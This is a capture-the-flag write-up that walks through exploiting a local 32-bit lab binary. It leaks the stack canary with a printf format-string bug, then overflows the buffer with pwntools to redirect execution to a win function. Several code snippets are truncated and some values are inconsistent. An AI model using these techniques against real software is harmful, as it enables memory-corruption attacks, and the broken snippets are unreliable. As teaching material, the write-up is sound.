Try your hand at a 32-bit canary challenge. The process will be the same; however, getting the parameter offset for the canary will be more challenging.
If you're stuck, you might want to go into GDB, set a breakpoint before the vulnerable printf, and count the number of blocks before the canary.
This problem is the first instance where the stack protector, called the canary, is enabled. We must figure out how to beat that canary to perform a buffer overflow.
When we run checksec on the binary, we notice that the canary is enabled.
checksec chall[*] './chall' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: NoPIE is still disabled, meaning we can still use the same techniques we used in the previous binary. However, we can't just overflow the stack. Let's see what happens when we try.
python3 -c "print('A'*1000)" | ./challHello, what is your name?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHow can I help you today?*** stack smashing detected ***: terminatedA stack smashing detected message in the output indicates that we overwrote the canary. We need to determine how to beat the canary, and then we will proceed as usual.
Our primary functions are main, run, and win.
win only prints the contents of the flag.main immediately calls run, then has a puts statement that reads "You lose!".run does a list of things. Disassembling it, the important part is the canary machinery: a value from gs:0x14 is stored at [ebp-0xc] on entry, and checked against gs:0x14 again before the function returns:
disas run 0x080491b8 <+18>: mov eax,gs:0x14 0x080491be <+24>: mov DWORD PTR [ebp-0xc],eax 0x08049243 <+157>: mov eax,DWORD PTR [ebp-0xc] 0x08049246 <+160>: sub eax,DWORD PTR gs:0x14 0x0804924d <+167>: je 0x8049254 <run+174> 0x0804924f <+169>: call 0x80492d0 <__stack_chk_fail_local>Scrolling through the rest of run, we find it:
puts("Hello, what is your name?")read(0, ebp-0x4c, 64) — reads our name into a buffer at [ebp-0x4c].printf(ebp-0x4c) — prints that buffer directly as the format string.puts("How can I help you today?")read(0, ebp-0x4c, 0x64) — reads into the same buffer again, this time up to 0x64 (100) bytes.From this, we gather a few things:
printf on the first read is a format string vulnerability, which means we can leak the canary.ebp-0xc.We know the canary is stored on the stack at ebp-0xc. We will use a format string to leak the canary to standard output, then feed that value into the second payload.
gef's canary command confirms where it lives:
b *(run+69)Breakpoint 1 at 0x80491ebrunBreakpoint 1, 0x080491eb in run ()canary[+] The canary of process 29339 is at 0xffffd89b, value is 0xb2d38800Counting DWORD frames from the format string's argument list to the canary puts it at offset 23. We can verify that with the format string directly — the canary ends in a 00 byte, which is the giveaway:
./challHello, what is your name?%23$x7b32d000This works! Let's turn it into a pwntools snippet:
1p.recvline()
2p.sendline(b"%23$x")
3canary = int(p.recvline().strip(Now that we have the canary, we can overflow the buffer in two steps:
win().The canary is at ebp-0xc, and the buffer starts at ebp-0x4c. So we write 0x4c - 0xc = 0x40 (64) bytes before reaching the canary:
1payload = b"A" * 0x40
2payload += p32(canary)Then we write from the canary to the return pointer. The canary sits at ebp-0xc, and the return pointer always sits at ebp+0x4 (the saved base pointer is at ebp+0x0). The canary takes four bytes, so we start writing at ebp-0x8 and need 0xc (12) bytes to reach the return pointer:
1payload += b"B" * 0xc
2payload += p32(win)From here, we put it all together and send it off:
1from pwn import *
2
3p = process("./chall")
4
5# leak the canary
Running this gets us our flag:
python3 exploit.py[+] Starting local process './chall': pid 29319[*] Switching to interactive modeHow can I help you today?IFC{PL4C3H0LD3R_FL4G_H3R3!}[*] Process './chall' stopped with exit code 0[*] Got EOF while reading in interactiveWe have our flag!